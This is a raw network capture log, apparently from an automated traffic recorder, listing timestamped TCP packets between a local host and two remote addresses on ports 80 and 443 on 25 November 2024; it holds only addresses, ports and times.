Nov 25, 2024 14:14:42.779894114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.780553102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.780658007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.780663967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.780702114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.781729937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.781872988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.781919956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.781975985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.782757998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.782774925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.782804012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.782815933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.783807039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.783885956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.783907890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.783948898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.784964085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.785015106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.785269022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.785317898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.785901070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.786055088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.786093950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.786170006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.786982059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.787034988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.787579060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.787631989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.788116932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.788182020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.788240910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.788283110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.789124966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.789190054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.789227962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.789275885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.790745020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.790779114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.790798903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.790821075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.793986082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.794061899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.794523954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.794750929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.795850992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.796053886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.796057940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.796102047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.796660900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.796706915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.796720982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.796744108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.797405958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.797462940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.797530890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.797614098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.798255920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.798307896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.798369884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.798418045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.799211979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.799256086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.799278975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.799290895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.799973965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.800031900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.800615072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.800676107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.800817966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.800875902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.801220894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.801273108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.801981926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.802038908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.802316904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.802360058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.802879095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.802973986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.803045988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.803126097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.803761005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.803873062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.804569006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.804615974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.805097103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.805201054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.805233955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.805279016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.805923939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.805973053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.806081057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.806152105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.806879997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.806936026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.806952953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.807163000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.807620049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.807666063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.807677031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.807734966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.808398962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.808463097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.808603048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.808643103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.809372902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.809427023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.809789896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.809930086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.810440063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.810498953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.810575008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.810625076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.811743975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.811759949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.811844110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.811844110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.812549114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.812597990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.812828064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.812875986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.813510895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.813575983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.840787888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.840859890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.841125011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.841170073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.841521978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.841568947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.841619015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.841660976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.842381001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.842602968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.842608929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.842643976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.843439102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.843694925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.913712978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.913808107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.914083004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.914269924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.914458990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.914460897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.914644957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.915379047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.915433884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.915525913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.915688992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.916353941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.916461945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.916485071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.916584969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.917129040 CET	443	49827	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:42.917190075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.917438984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.917467117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.917572021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.917617083 CET	49827	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:42.917640924 CET	443	49827	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:42.918462038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.918606043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.918766975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.918828964 CET	443	49827	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:42.919507027 CET	49827	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:42.919617891 CET	443	49827	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:42.919651031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.919749975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.919833899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.920162916 CET	49827	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:42.920624018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.920722008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.920753002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.920917988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.921464920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.921565056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.921592951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.921952009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.922609091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.922677040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.922703028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.922817945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.923641920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.923770905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.923799992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.923916101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.924918890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.925035000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.925266027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.925323963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.925908089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.925965071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.925988913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.926079035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.926872969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.927018881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.927030087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.927107096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.927917004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.928045034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.928203106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.928251982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.929012060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.929158926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.929244041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.929342031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.930058956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.930161953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.930190086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.930291891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.963335991 CET	443	49827	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:42.982048988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.982242107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.982244968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.982296944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.982397079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.982409954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.982466936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.982466936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.983288050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.983542919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.983737946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.983983994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.983995914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.984014034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.984101057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.985110044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.985322952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.985563993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.985618114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.986468077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.986682892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.986905098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.987006903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.987261057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.987273932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.987322092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.988074064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.988179922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.988318920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.988410950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.988801003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.988814116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.989006042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.989532948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.989625931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.989731073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.990108967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.990236998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.990255117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.990313053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.990313053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.991144896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.991236925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.991265059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.991406918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.992639065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.992650986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.992778063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.993177891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.993257999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.993259907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.993357897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.993917942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.994018078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.994046926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.994077921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.994637012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.994736910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.994760990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.995151043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.995589972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.995753050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.995767117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.995831966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.996639967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.996655941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.996824026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.997495890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.997647047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.998231888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.998513937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.998527050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.999066114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.999422073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.999546051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.999650955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.999792099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.000422001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.000821114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.001039028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.001127005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.001395941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.001409054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.001535892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.002326012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.002403021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.002434015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.002500057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.003307104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.003427982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.003873110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.004160881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.004323959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.004336119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.004498959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.005345106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.005582094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.005659103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.005875111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.006275892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.006468058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.006690979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.006854057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.007201910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.007265091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.007293940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.007458925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.008162022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.008248091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.008347034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.008449078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.009308100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.009385109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.009392977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.009491920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.010324955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.010411024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.010441065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.010525942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.011704922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.011718988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.011781931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.012495995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.012660027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.045959949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.046046972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.046077967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.046201944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.046670914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.046720028 CET	49760	80	192.168.2.5	185.215.113.206
